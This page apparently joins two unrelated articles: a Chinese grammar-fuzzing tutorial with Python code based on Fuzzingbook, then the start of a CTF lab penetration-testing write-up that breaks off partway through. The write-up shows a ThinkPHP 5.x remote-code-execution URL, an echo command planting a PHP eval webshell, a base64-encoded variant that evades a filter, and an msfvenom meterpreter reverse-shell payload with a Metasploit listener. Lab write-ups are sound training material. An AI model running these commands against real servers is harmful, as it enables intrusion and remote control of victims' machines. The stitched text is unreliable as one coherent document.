到此，我们理解了Grammar对于Fuzzing的重要性，一个杰出的Grammar能够有效的生成大量合法输入，不过这只是从输入组成（句法）来看，这毕竟是一个庞大的范围，虽然有时候满足程序的输入格式，但是未必真的对Fuzzing起作用，这种情况非常常见。再一次以编译器为例子，你的程序在满足语言语法的同时更应该具备正确的语义。但是语义很难再以Grammar的形式表达。以URL生成Grammar为例，简单通过Grammar很难定义端口的范围。面对这样的问题，最简单的解决办法其实就是在Fuzz里面而不是在Grammar里面进行限制。以URL
Grammar为例，通过Grammar生成的URL在真正的被作为Input给予目标之前，应该在Fuzz系统里面经过URL“合法性”判断，这里的判断可以由作者根据自己的需求来进行限制。
### Grammar Toolbox
在Fuzzing项目中对于Grammar的需求并不是一成不变的，因此Grammar的一大需求就是具备可扩展性。以一个简单的Gramar为例：
simple_nonterminal_grammar: Grammar = {
"<start>": ["<nonterminal>"],
"<nonterminal>": ["<left-angle><identifier><right-angle>"],
"<left-angle>": ["<"],
"<right-angle>": [">"],
"<identifier>": ["id"] # for now
}
有时候我们希望拓展其功能，但是不希望原来的Grammar受到影响（类比编程中的继承）,就是一个很简单的如下操作。
nonterminal_grammar = copy.deepcopy(simple_nonterminal_grammar)
nonterminal_grammar["<identifier>"] = ["<idchar>", "<identifier><idchar>"]
nonterminal_grammar["<idchar>"] = ['a', 'b', 'c', 'd'] # for now
总结为一个函数如下，非常简单就不多解释：
def set_opts(grammar: Grammar, symbol: str, expansion: Expansion,
opts: Option = {}) -> None:
"""Set the options of the given expansion of grammar[symbol] to opts"""
expansions = grammar[symbol]
for i, exp in enumerate(expansions):
if exp_string(exp) != exp_string(expansion):
continue
new_opts = exp_opts(exp)
if opts == {} or new_opts == {}:
new_opts = opts
else:
for key in opts:
new_opts[key] = opts[key]
if new_opts == {}:
grammar[symbol][i] = exp_string(exp)
else:
grammar[symbol][i] = (exp_string(exp), new_opts)
return
raise KeyError(
"no expansion " +
repr(symbol) +
" -> " +
repr(
exp_string(expansion)))
同时，在写Fuzz的时候肯定不希望不断地写大量的符号和值的对应，因此我们需要一些语法来帮助，这里提供了ENBF的解析方法：
# 解析 ebnf 语法
def new_symbol(grammar: Grammar, symbol_name: str = "<symbol>") -> str:
"""Return a new symbol for `grammar` based on `symbol_name`"""
if symbol_name not in grammar:
return symbol_name
count = 1
while True:
tentative_symbol_name = symbol_name[:-1] + "-" + repr(count) + ">"
if tentative_symbol_name not in grammar:
return tentative_symbol_name
count += 1
# 提取表达式中符合EBNF语法的部分，? , * , + , ()
def parenthesized_expressions(expansion: Expansion) -> List[str]:
RE_PARENTHESIZED_EXPR = re.compile(r'\([^()]*\)[?+*]')
# In later chapters, we allow expansions to be tuples,
# with the expansion being the first element
if isinstance(expansion, tuple):
expansion = expansion[0]
return re.findall(RE_PARENTHESIZED_EXPR, expansion)
# 对Grammar中的EBNF语法括号进行解析
def convert_ebnf_parentheses(ebnf_grammar: Grammar) -> Grammar:
"""Convert a grammar in extended BNF to BNF"""
grammar = extend_grammar(ebnf_grammar)
for nonterminal in ebnf_grammar:
expansions = ebnf_grammar[nonterminal]
for i in range(len(expansions)):
expansion = expansions[i]
if not isinstance(expansion, str):
expansion = expansion[0]
while True:
parenthesized_exprs = parenthesized_expressions(expansion)
if len(parenthesized_exprs) == 0:
break
for expr in parenthesized_exprs:
operator = expr[-1:]
contents = expr[1:-2]
new_sym = new_symbol(grammar)
exp = grammar[nonterminal][i]
opts = None
if isinstance(exp, tuple):
(exp, opts) = exp
assert isinstance(exp, str)
expansion = exp.replace(expr, new_sym + operator, 1)
if opts:
grammar[nonterminal][i] = (expansion, opts)
else:
grammar[nonterminal][i] = expansion
grammar[new_sym] = [contents]
return grammar
# ENBF符号扩展
def extended_nonterminals(expansion: Expansion) -> List[str]:
RE_EXTENDED_NONTERMINAL = re.compile(r'(<[^<> ]*>[?+*])')
# In later chapters, we allow expansions to be tuples,
# with the expansion being the first element
if isinstance(expansion, tuple):
expansion = expansion[0]
return re.findall(RE_EXTENDED_NONTERMINAL, expansion)
# ENBF符号扩展
def convert_ebnf_operators(ebnf_grammar: Grammar) -> Grammar:
"""Convert a grammar in extended BNF to BNF"""
grammar = extend_grammar(ebnf_grammar)
for nonterminal in ebnf_grammar:
expansions = ebnf_grammar[nonterminal]
for i in range(len(expansions)):
expansion = expansions[i]
extended_symbols = extended_nonterminals(expansion)
for extended_symbol in extended_symbols:
operator = extended_symbol[-1:]
original_symbol = extended_symbol[:-1]
assert original_symbol in ebnf_grammar, \
f"{original_symbol} is not defined in grammar"
new_sym = new_symbol(grammar, original_symbol)
exp = grammar[nonterminal][i]
opts = None
if isinstance(exp, tuple):
(exp, opts) = exp
assert isinstance(exp, str)
new_exp = exp.replace(extended_symbol, new_sym, 1)
if opts:
grammar[nonterminal][i] = (new_exp, opts)
else:
grammar[nonterminal][i] = new_exp
if operator == '?':
grammar[new_sym] = ["", original_symbol]
elif operator == '*':
grammar[new_sym] = ["", original_symbol + new_sym]
elif operator == '+':
grammar[new_sym] = [
original_symbol, original_symbol + new_sym]
return grammar
def convert_ebnf_grammar(ebnf_grammar: Grammar) -> Grammar:
return convert_ebnf_operators(convert_ebnf_parentheses(ebnf_grammar))
对于Grammar来言，我们必须要确定它的一个合法性，不然在使用中必然会遇到各种错误问题，因此语法检查是很必要的，就如同编译器的语法检查很重要一样：
# 搜索Grammar中的定义的noterminal
def def_used_nonterminals(grammar: Grammar, start_symbol:
str = START_SYMBOL) -> Tuple[Optional[Set[str]],
Optional[Set[str]]]:
"""Return a pair (`defined_nonterminals`, `used_nonterminals`) in `grammar`.
In case of error, return (`None`, `None`)."""
defined_nonterminals = set()
used_nonterminals = {start_symbol}
for defined_nonterminal in grammar:
defined_nonterminals.add(defined_nonterminal)
expansions = grammar[defined_nonterminal]
if not isinstance(expansions, list):
print(repr(defined_nonterminal) + ": expansion is not a list",
file=sys.stderr)
return None, None
if len(expansions) == 0:
print(repr(defined_nonterminal) + ": expansion list empty",
file=sys.stderr)
return None, None
for expansion in expansions:
if isinstance(expansion, tuple):
expansion = expansion[0]
if not isinstance(expansion, str):
print(repr(defined_nonterminal) + ": "
+ repr(expansion) + ": not a string",
file=sys.stderr)
return None, None
for used_nonterminal in nonterminals(expansion):
used_nonterminals.add(used_nonterminal)
return defined_nonterminals, used_nonterminals
def reachable_nonterminals(grammar: Grammar,
start_symbol: str = START_SYMBOL) -> Set[str]:
reachable = set()
def _find_reachable_nonterminals(grammar, symbol):
nonlocal reachable
reachable.add(symbol)
for expansion in grammar.get(symbol, []):
for nonterminal in nonterminals(expansion):
if nonterminal not in reachable:
_find_reachable_nonterminals(grammar, nonterminal)
_find_reachable_nonterminals(grammar, start_symbol)
return reachable
def unreachable_nonterminals(grammar: Grammar,
start_symbol=START_SYMBOL) -> Set[str]:
return grammar.keys() - reachable_nonterminals(grammar, start_symbol)
def opts_used(grammar: Grammar) -> Set[str]:
used_opts = set()
for symbol in grammar:
for expansion in grammar[symbol]:
used_opts |= set(exp_opts(expansion).keys())
return used_opts
# Grammar的合法性判断，类似于编译器里面的语法检查
def is_valid_grammar(grammar: Grammar,
start_symbol: str = START_SYMBOL,
supported_opts: Set[str] = set()) -> bool:
"""Check if the given `grammar` is valid.
`start_symbol`: optional start symbol (default: `<start>`)
`supported_opts`: options supported (default: none)"""
defined_nonterminals, used_nonterminals = \
def_used_nonterminals(grammar, start_symbol)
if defined_nonterminals is None or used_nonterminals is None:
return False
# Do not complain about '<start>' being not used,
# even if start_symbol is different
if START_SYMBOL in grammar:
used_nonterminals.add(START_SYMBOL)
for unused_nonterminal in defined_nonterminals - used_nonterminals:
print(repr(unused_nonterminal) + ": defined, but not used",
file=sys.stderr)
for undefined_nonterminal in used_nonterminals - defined_nonterminals:
print(repr(undefined_nonterminal) + ": used, but not defined",
file=sys.stderr)
# Symbols must be reachable either from <start> or given start symbol
unreachable = unreachable_nonterminals(grammar, start_symbol)
msg_start_symbol = start_symbol
if START_SYMBOL in grammar:
unreachable = unreachable - \
reachable_nonterminals(grammar, START_SYMBOL)
if start_symbol != START_SYMBOL:
msg_start_symbol += " or " + START_SYMBOL
for unreachable_nonterminal in unreachable:
print(repr(unreachable_nonterminal) + ": unreachable from " + msg_start_symbol,
file=sys.stderr)
used_but_not_supported_opts = set()
if len(supported_opts) > 0:
used_but_not_supported_opts = opts_used(
grammar).difference(supported_opts)
for opt in used_but_not_supported_opts:
print(
"warning: option " +
repr(opt) +
" is not supported",
file=sys.stderr)
return used_nonterminals == defined_nonterminals and len(unreachable) == 0
以上列举的是常用的Tools，在Fuzz的编写过程中，要根据实际问题针对性的编写各式各样的工具。
## 高效Grammars Fuzz
前面提供的simple_grammar_fuzzer其实存在大量的问题，比如性能低下，对于符号的解析次数受限，容易引起报错等，因此需要更加高明的算法。这里选择的是派生树，因为树形结构易于追踪而且易于添加和删除其中分支。关于Fuzz的编写其实就是不断的对派生树进行分析和对子节点的不断扩展。
### 派生树算法
从上述的简单算法可以看出，整个的Grammar
Fuzz的核心其实就是通过大量的符号扩展形成对应的数据结构，那么用来存储或者拓展符号的数据结构其实尤为重要。派生树的树状结构其实完美的符合了我们的要求，树形结构自上而下的扩展正好和符号的扩展相对应。而且`派生树使得我们可以掌控整个扩展过程的状态`，比如那些节点已经被扩展，或者某个节点是否需要扩展等，同时，在扩展过程中增加新节点的速度远超把一个符号替换为一个值的过程，因此使用这种数据结构也带来了一定的性能增益。
让我们以下面的Grammar为例子：
# URL Grammar
URL_GRAMMAR: Grammar = {
"<start>":
["<url>"],
"<url>":
["<scheme>://<authority><path><query>"],
"<scheme>":
["http", "https", "ftp", "ftps"],
"<authority>":
["<host>", "<host>:<port>", "<userinfo>@<host>", "<userinfo>@<host>:<port>"],
"<host>": # 大部分情况下其实可以指定一个URL
["cispa.saarland", "www.google.com", "fuzzingbook.com"],
"<port>":
["80", "8080", "<nat>"],
"<nat>":
["<digit>", "<digit><digit>"],
"<digit>":
["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
"<userinfo>": # Just one
["user:password"],
"<path>": # Just a few
["", "/", "/<id>"],
"<id>": # Just a few
["abc", "def", "x<digit><digit>"],
"<query>":
["", "?<params>"],
"<params>":
["<param>", "<param>&<params>"],
"<param>": # Just a few
["<id>=<id>", "<id>=<nat>"],
}
以派生树算法来看，首先以`<start>`为初始节点，然后在Grammar中发现其存在对应的表达，所以就会选择`<url>`作为它的子节点，循环往复知道一个节点不再出现对应的子节点，然后整个的树形结构完成解析，输出对应的结构化数据。
对应的数据表示如下：
(SYMBOL_NAME, CHILDREN)
DerivationTree = Tuple[str, Optional[List[Any]]]
derivation_tree: DerivationTree = ("<start>",
[("<expr>",
[("<expr>", None),
(" + ", []),
("<term>", None)]
)])
`SYMBOL_NAME`代表的就是符号，CHILDREN代表子节点，表示为具体的数据结构就是：`DerivationTree = Tuple[str,
Optional[List[Any]]]`。其中CHILDREN主要有两种表示：
1. None代表当前节点可以继续向下扩展，其含义就是现在节点存在可扩展的符号。
2. []代表的就是没有子节点了
整个算法都围绕上面的基本原理展开
def g_rammar_fuzzer():
f = GrammarFuzzer(URL_GRAMMAR)
f.fuzz()
### ProbabilisticGrammarFuzzer
有时候完全随机的进行表达式展开其实会白白浪费大量的时间和资源，因此可以对表达式附加概率值，这一块涉及到大量的概率学问题，有部分数据来源于世界的统计规律，比如下面给出的`leaddigit`符号对应的概率，这些就不在深入分析。
PROBABILISTIC_EXPR_GRAMMAR: Grammar = {
"<start>":
["<expr>"],
"<expr>":
[("<term> + <expr>", opts(prob=0.1)),
("<term> - <expr>", opts(prob=0.2)),
"<term>"],
"<term>":
[("<factor> * <term>", opts(prob=0.1)),
("<factor> / <term>", opts(prob=0.1)),
"<factor>"
],
"<factor>":
["+<factor>", "-<factor>", "(<expr>)",
"<leadinteger>", "<leadinteger>.<integer>"],
"<leadinteger>":
["<leaddigit><integer>", "<leaddigit>"],
# Benford's law: frequency distribution of leading digits
"<leaddigit>":
[("1", opts(prob=0.301)),
("2", opts(prob=0.176)),
("3", opts(prob=0.125)),
("4", opts(prob=0.097)),
("5", opts(prob=0.079)),
("6", opts(prob=0.067)),
("7", opts(prob=0.058)),
("8", opts(prob=0.051)),
("9", opts(prob=0.046)),
],
# Remaining digits are equally distributed
"<integer>":
["<digit><integer>", "<digit>"],
"<digit>":
["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
}
跟之前的Grammar有很大不同的地方在于，现在的Grammar可以通过增加注释的方式为列表中的值添加随机概率，使得作者可以通过逆向获取其它渠道得到的信息可以在Fuzz中获得利用。那现在问题就显而易见了，如何确定概率？
当Fuzz的作者没办法直接给出一个符号对应的所有项具体的概率的时候，可以遵循的最直接的规则就是下面三个公式：
大致含义也很好理解，就是a代表的是已知概率的项，而u代表的未知概率的项目，已知概率自然可以通过`opts`的方法给对应项附加概率，未知概率的项则按照概率平分的原则来赋予概率。之后自然是要在Fuzz里面引入概率，使得在生成种子的时候可以对符号解析的选择赋予权重，进而提高Fuzz效率。
就Fuzz的具体实现而言，其实相比于上述的Grammar
Fuzz只是增加了一个对于opts注释的访问，以便在随机解析的时候可以附加概率值权重。但是这样带来的优势是很明显的，甚至可以通过控制输入Fuzz目标指定的Func等。但是还有一种情况，我第一次解析Grammar
symbol的时候希望它的概率为0.3，但是我第二次解析Grammar
symbol的时候希望其概率为0.5，为了实现这一点其实可以利用上下文，在不同的上下文中复制希望赋予其不同概率的symbol，以IP Grammar为例子：
IP_ADDRESS_GRAMMAR: Grammar = {
"<start>": ["<address>"],
"<address>": ["<octet>.<octet>.<octet>.<octet>"],
# ["0", "1", "2", ..., "255"]
"<octet>": decrange(0, 256) # 其实代表的就是0-256
}
为了使得每次解析`<octet>`的时候都使用不同的概率，可以对其扩展，形成下面的语法：
IP_ADDRESS_GRAMMAR: Grammar = {
"<start>": ["<address>"],
"<address>": ["<octet-1>.<octet-2>.<octet-3>.<octet-4>"],
# ["0", "1", "2", ..., "255"]
"<octet-1>": decrange(0, 256) # 其实代表的就是0-256
"<octet-2>": decrange(0, 256) # 其实代表的就是0-256
"<octet-3>": decrange(0, 256) # 其实代表的就是0-256
"<octet-4>": decrange(0, 256) # 其实代表的就是0-256
}
这样在进行解析的时候就完全可以对每次解析附加不同的概率。下面是帮助实现的函数：
def _duplicate_context(grammar: Grammar,
orig_grammar: Grammar,
symbol: str,
expansion: Optional[Expansion],
depth: Union[float, int],
seen: Dict[str, str]) -> None:
"""Helper function for `duplicate_context()`"""
for i in range(len(grammar[symbol])):
if expansion is None or grammar[symbol][i] == expansion:
new_expansion = ""
for (s, c) in expansion_to_children(grammar[symbol][i]):
if s in seen: # Duplicated already
new_expansion += seen[s]
elif c == [] or depth == 0: # Terminal symbol or end of recursion
new_expansion += s
else: # Nonterminal symbol - duplicate
# Add new symbol with copy of rule
new_s = new_symbol(grammar, s)
grammar[new_s] = copy.deepcopy(orig_grammar[s])
# Duplicate its expansions recursively
# {**seen, **{s: new_s}} is seen + {s: new_s}
_duplicate_context(grammar, orig_grammar, new_s, expansion=None,
depth=depth - 1, seen={**seen, **{s: new_s}})
new_expansion += new_s
grammar[symbol][i] = new_expansion
def duplicate_context(grammar: Grammar,
symbol: str,
expansion: Optional[Expansion] = None,
depth: Union[float, int] = float('inf')):
"""Duplicate an expansion within a grammar.
In the given grammar, take the given expansion of the given `symbol`
(if `expansion` is omitted: all symbols), and replace it with a
new expansion referring to a duplicate of all originally referenced rules.
If `depth` is given, limit duplication to `depth` references
(default: unlimited)
"""
orig_grammar = extend_grammar(grammar)
_duplicate_context(grammar, orig_grammar, symbol,
expansion, depth, seen={})
# After duplication, we may have unreachable rules; delete them
for nonterminal in unreachable_nonterminals(grammar):
del grammar[nonterminal]
在完成上下文复制之后就可以通过类似下面的操作得到我们想要的结果：
set_prob(probabilistic_ip_address_grammar, "<octet-1>", "127", 1.0)
set_prob(probabilistic_ip_address_grammar, "<octet-2>", "0", 1.0)
不过这就又引入一个问题，概率在赋予给symbol之后一成不变真的合适吗？在真实世界的Fuzz中随着我们对于目标的不断了解，或者一些其它情况比如长时间未出现想要的结果等，及时改变策略也是非常必要的，但是如果Fuzz可以智能的自己调节调整不同symbol的概率值的话，会减轻很多的负担并获得更好的软件测试效果。一个比较好的办法是让Fuzz通过最开始被给予Inputs种子来学习应该赋予某些symbol多大的一个概率值，这种方法在某些场景下非常有用：
1. 测试常用功能，因为很多软件测试更希望常用的功能确保安全，但是对于漏洞挖掘研究人员来说可能目标不在于此。
2. 测试不常用功能，通过规避Inputs中解析到的symbol，Fuzz就会更偏向于测试一些不常用的功能。
3. 专注于指定的Inputs，一些漏洞挖掘可能希望专注于已有的非常有价值的poc inputs，通过专注于这些inputs，Fuzz可以测试软件的一些薄弱环节从而达到很好的效果。
理论已经存在，那么如何实现呢？第一步肯定是需要将已经存在的Inputs种子恢复成为派生树，然后对派生树种每个Symbol对应的值有多少来计算将来的概率值。
如上图，假设我给与一个`127.0.0.1`的种子，那么被解析之后，0在`<octet>`中的概率值就会被限制为`50%`，127和1分别为`25%`，那么在Fuzz运行的时候相关的概率值就可以赋予给`<octet>`。那么如果测试一些不常用功能该怎么办呢？其实就是通过原来测常用功能的Inputs得到相关概率，然后进行概率翻转就行了，比如常用功能的Inputs概率如下：
[('http', {'prob': 0.2222222222222222}),
('https', {'prob': 0.6666666666666666}),
('ftp', {'prob': 0.0}),
('ftps', {'prob': 0.1111111111111111})]
那么经过翻转之后就是：
[('http', {'prob': 0.1111111111111111}),
('https', {'prob': 0.0}),
('ftp', {'prob': 0.6666666666666666}),
('ftps', {'prob': 0.2222222222222222})]
上述就是之前讲到的专注测试常用功能或者非常用功能的基本思路，从此处引出的另一个比较关键的是通过Inputs帮我们专注于目标的特定功能，它和测试常用功能的区别就是首先要找到一批特殊的Inputs，通过这些Inputs作为seeds就可以对语法解析的过程进行概率分析和限制，使得后续的变异可以一直有较高的目标命中率。
### Generator With Pre or Post or order Func
在某些Inputs在生成的时候，Fuzz作者可能希望对他们进行一些限制调整，获取其它的操作，这些都可以通过`pre
func`完成。这类似于hook，那么对于func触发的时机一般就分为两种，在Inputs的生成之前或者是生成之后，在语法里面的表示就是：
CHARGE_GRAMMAR: Grammar = {
"<start>": ["Charge <amount> to my credit card <credit-card-number>"],
"<amount>": ["$<float>"],
"<float>": ["<integer>.<digit><digit>"],
"<integer>": ["<digit>", "<integer><digit>"],
"<digit>": crange('0', '9'),
"<credit-card-number>": ["<digits>"],
"<digits>": ["<digit-block><digit-block><digit-block><digit-block>"],
"<digit-block>": ["<digit><digit><digit><digit>"],
}
CHARGE_GRAMMAR.update({
"<float>": [("<integer>.<digit><digit>", opts(pre=high_charge))], # high_charge是函数名称
})
CHARGE_GRAMMAR.update({
"<float>": [("<integer>.<digit><digit>",
opts(pre=lambda: random.randint(10000000, 90000000) / 100.0))] # 或者选择使用lambda表达式
})
另一种就是在Seeds的生成之后了：
CHARGE_GRAMMAR.update({
"<credit-card-number>": [("<digits>", opts(post=lambda digits: fix_credit_card(digits)))]
})
比如生成的digits不能满足Fuzz的需求，我们就可以通过这种方式来进行及时的修正，以提高Fuzz的效率。
### Greybox Fuzzing with Grammars
除了Fuzzing性能类的问题之外的另一个问题就是变异的导向问题，在Grammars
Fuzz生成Input的过程中对于Grammar的内部解析是随机的，但是对于Fuzz目标来说，大量的Input可能会触发相同的分支进而导致代码覆盖率难以达到理想的值。对于AFL类似的覆盖引导型Fuzz来说，因为白盒Fuzz的源代码插桩缘故可以统计代码覆盖率来进行不错的引导，但是还存在很多情况，比如黑盒，甚至是以一种WebServer为目标的Fuzz，统计代码覆盖率并不是一件简单的事情，这时候采取的措施应该是不断的增加Inputs生成的多样性，比如在上述的派生树的子节点的扩展过程进行统计，使其在生成Input语料的时候偏向于还没扩展过的节点。这时候就会面临新的问题，如何快速提升代码覆盖率？
在进行Fuzz的时候，有时候一些输入的部分会被识别为关键字，比如C语言里面的int等，如果告诉Fuzz这些关键字就可以在短时间内极大的提升代码覆盖率，但是就长远来看整体的代码覆盖率还是要差于不使用关键字字典的情况。下面是使用关键字字典的变异Inputs生成器。
class DictMutator(Mutator):
"""Mutate strings using keywords from a dictionary"""
def __init__(self, dictionary: List[str]) -> None:
"""Constructor. `dictionary` is the list of keywords to use."""
super().__init__()
self.dictionary = dictionary
self.mutators.append(self.insert_from_dictionary)
def insert_from_dictionary(self, s: str) -> str:
"""Returns s with a keyword from the dictionary inserted"""
pos = random.randint(0, len(s))
random_keyword = random.choice(self.dictionary)
return s[:pos] + random_keyword + s[pos:]
但是问题在于关键字通过字典随机引入的方式很可能破坏了Input本来的正确输入结构进而引发不必要的损耗。解决的方法其实也很简单：`Fuzzing with
Input Fragments`.
1. 对原有的Input进行Parse，形成派生树。
2. 对派生树进行节点互换或者节点替换等操作。
3. 对派生树进行还原，形成新的Input。
以上的所有操作都在派生树上进行。为了更方便的进行编译操作，可以建立一个派生树的碎片池，每个碎片都由子树组成，子树包括符号和对应的Node节点和其子节点。不过对于派生树的parse其实是非常耗时的，因此可以设置一些时间限制来防止速度过低。不过以Fragments为基础的变异虽然可以很好的符合Inputs合法性的要求但是在代码覆盖率提升方面并不亮眼。而且以此为基础的`LangFuzz`其实在Inputs生成的速度上也远低于平常的结构化黑盒Fuzz。下面是两组对比数据：
LangFuzz
From the 300 generated inputs, 152 (50.67%) can be parsed.In total, 91 statements are covered.
BlackFuzz
From the 300 generated inputs, 36 (12.00%) can be parsed.In total, 161 statements are covered.
可以看出以Fragments为基础的变异的优势在于它可以很好的生成符合结构化语法的变异。那么现在的疑问就是如何在保证输入语法正确性的前提下提升代码覆盖率？
一种方法是利用类似AFL的覆盖引导方式，利用代码覆盖率不断作为变异的反馈，以此来不断的增添提高代码覆盖率的种子，同时提供`structural
mutations`和`32 byte-level mutations`两种变异方式，如下：
class GreyboxGrammarFuzzer(GreyboxFuzzer):
"""Greybox fuzzer using grammars."""
def __init__(self, seeds: List[str],
byte_mutator: Mutator, tree_mutator: FragmentMutator,
schedule: PowerSchedule) -> None:
"""Constructor.
`seeds` - set of inputs to mutate.
`byte_mutator` - a byte-level mutator.
`tree_mutator` = a tree-level mutator.
`schedule` - a power schedule.
"""
super().__init__(seeds, byte_mutator, schedule)
self.tree_mutator = tree_mutator
def create_candidate(self) -> str:
"""Returns an input generated by structural mutation
of a seed in the population"""
seed = cast(SeedWithStructure, self.schedule.choose(self.population))
# Structural mutation
trials = random.randint(0, 4)
for i in range(trials):
seed = self.tree_mutator.mutate(seed)
# Byte-level mutation
candidate = seed.data
if trials == 0 or not seed.has_structure or random.randint(0, 1) == 1:
dumb_trials = min(len(seed.data), 1 << random.randint(1, 5))
for i in range(dumb_trials):
candidate = self.mutator.mutate(candidate)
return candidate
想通的种子和变异次数的条件下，测试结果如下：
From the 300 generated inputs, 1 (0.33%) can be parsed.
In total, 180 statements are covered.
同时，在Inputs生成的速度方面极大提升，较高的代码覆盖率，但是在Inputs的合法性方面表现是最差的。那这个问题该如何解决呢？答案就是`Fuzzing
with Input
Regions`，这种Fuzz的变异方法不再使用派生树节点拆分重组等方式，而是通过将合法种子的不同区域直接进行拆分重组的方式，这里的区域指的是可以和派生树符号对应的连续的字节序列，这样的好处其实在于它操作的对象可能比Fragments更大或者更小，以此种方式进行变异在和上述变异条件相同的情况下测试结构如下：
It took the structural greybox fuzzer with region mutator
11.35 seconds to generate and execute 300 inputs.
From the 300 generated inputs, 4 (1.33%) can be parsed.
In total, 168 statements are covered.
On average, 9.1% of a seed in the population can be successfully parsed.
可以看到存在较高的代码覆盖率，在速度方面虽然优于Fragments Fuzz但是还是弱于普通的黑盒Fuzz，在代码覆盖率方面高于Fragments
Fuzz并和GreyboxGrammarFuzzer维持在相差无几的水平。不过核心原因还是在于，通过的合法Inputs其实占比很低。那么如何解决这个问题？首先要让Fuzzer可以聚焦合法的Inputs。这一点其实前面已经讨论过了，只需要利用`schedule`给合法Inputs的相关结构赋予更多的权重。测试结果如下：
It took AFLSmart 20.75 seconds to generate and execute 300 inputs.
From the 300 generated inputs, 46 (15.33%) can be parsed.
In total, 162 statements are covered.
On average, 23.7% of a seed in the population can be successfully parsed.
可以看出在代码覆盖率保持较高水平的情况下，Inputs的合法性也得到了大幅度的提升，但是在Inputs的生成速度上来看，还是远弱于普通的GrammarFuzz。
从上面可以看出，在选择Fuzz的时候本身就是一个取舍的问题，通过二次开发或者针对不同场景的选择才能更好的达到我们想要的结果。
### Parser input
假设你在做一个模糊测试，无论是Grammar Fuzz
或者其他的Fuzz也好，如果没有合适的种子那么通过不断变异形成合适的Inputs是非常困难的，当然AFL的作者展示了通过简单的输入不断向目标进化的可能性，但是这毕竟十分浪费时间和性能，效果在很多场景下估计也是不尽人意的。
因此在进行模糊测试的时候如果可以获取一些poc，或者其它较好种子，比如在Fuzz js解释器的一个比较经常的做法就是将一些公开的poc，如下：
var haystack = "foo";
var re_text = "^foo";
haystack += "x";
re_text += "(x)";
var re = new RegExp(re_text);
re.test(haystack);
RegExp.input = Number();
print(RegExp.$1);
作为seeds进行变异，将生成的Inputs用来Fuzz解释器。表现出来不错的结果。
> Tips:如何判断对面的代码覆盖率，一般黑盒情况下可以试时间，如果一个Input在对面耗费了更多的时间来运行，那么可以猜测其走过了更多的代码分支。
## 总结
在面对Fuzz的目标的时候最重要的是选择合适的变异方式以及较好的初始种子，根据目标和测试目的不断地进行取舍和针对性开发才能得到比较理想的结果。
## 参考链接
> <https://www.fuzzingbook.org>
>
> 文中数据测试来源大多为Fuzzingbook，因为根据电脑不同，其实具体数值结果会有一定偏差，但是结论都是一样的，因此就展示了书中的测试数据。
* * * | 社区文章 |
# CFS三层靶机搭建及其内网渗透附靶场环境
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近要参加的一场CTF线下赛采用了CFS靶场模式，听官方说CFS靶场就是三层靶机的内网渗透，通过一层一层的渗透，获取每个靶机的flag进行拿分，那么先自己搭建一个练练手吧，三层靶机的OVA文件下载地址可以在我的公众号“TeamsSix”回复“CFS”以获取。
在这三台主机中，每台我都放了多个flag，本文将只讲述每个靶机的攻击过程，对于flag的获取不做讨论，这点需要读者自己动手找到这些flag，如果你想知道自己找到的flag是否正确且齐全，同样可以在我的公众号“TeamsSix”回复“flag”以获取。
## 0x01 环境搭建
简单对主机搭建的环境画了个网络拓扑，攻击机的网段在192.168.1.1/24，三台靶机的IP地址分别如图 1所示。 图 1
Vmware的3个网卡分别配置为桥接，仅主机和仅主机，具体子网地址如图 2所示。 图 2
如果你想在自己的电脑上搭建此靶场的话，需要先将自己Vmware中的虚拟网络编辑器编辑成图
2的样子，之后将三个靶机的OVA文件导入到自己的VMware中即可，这三个虚拟机的IP地址我都已经手动分配成了图 1的样子。
注意：这里桥接模式的网卡设置成自己能联网的网卡即可，因为我发现设置成自动有时会存在虚拟机连不上外网的情况。
## 0x02 Target1
### a、获取shell
1、先用nmap扫描一下Target1
root@kali:~# nmap -T4 -O 192.168.1.11
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-04 05:51 EDT
Nmap scan report for 192.168.1.11
Host is up (0.00042s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
80/tcp open http
888/tcp open accessbuilder
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:81:A6:6D (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 – 4.11
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
可以看到Target1存在ftp、ssh、http等端口，且是一个Linux的操作系统。
2、既然存在http服务，那就用浏览器打开看看是个什么
3、原来是ThinkPHP 5.X框架，这不禁让我想到18年底爆出的该框架的远程命令执行漏洞，那就先用POC测试一下
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
4、成功出现了PHPinfo界面，说明该版本是存在这在漏洞的，接下来就可以直接上工具写入一句话了，当然也可以使用POC写入一句话，不过还是工具方便些
5、在工具中命令是可以被执行的，那就getshell吧
6、昂~ getshell失败，没关系，直接echo写入一句话
echo “<?php @eval($_POST[‘TeamsSix’]);?>” > shell.php
7、通过浏览器访问，查看shell.php是否上传成功
8、可以看到shell.php已经被上传上去了，但是提示语法错误，同时蚁剑也返回数据为空，看来一句话上传的有点问题，那就cat查看一下
之前：<?php @eval($_POST[‘TeamsSix’]);?>
之后：<?php @eval([‘TeamsSix’]);?>
9、不难发现$_POST被过滤了，那就利用Base64编码后再次上传试试
echo “PD9waHAgQGV2YWwoJF9QT1NUWydUZWFtc1NpeCddKTs/Pg==” | base64 -d >
shell.php
10、此时可以看到一句话已经正常，蚁剑也能够连接成功，此时已经获取到该主机的shell，下一步添加代理
### b、设置代理
注：本文中设置代理的方法参考安全客里面tinyfisher用户的一篇文章，其文章地址在本文末尾参考文章处。
1、查看自己的IP地址，并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件
root@kali:~# ifconfig
root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.113
LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf
>shell.elf
2、在kali中配置运行监听模块
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
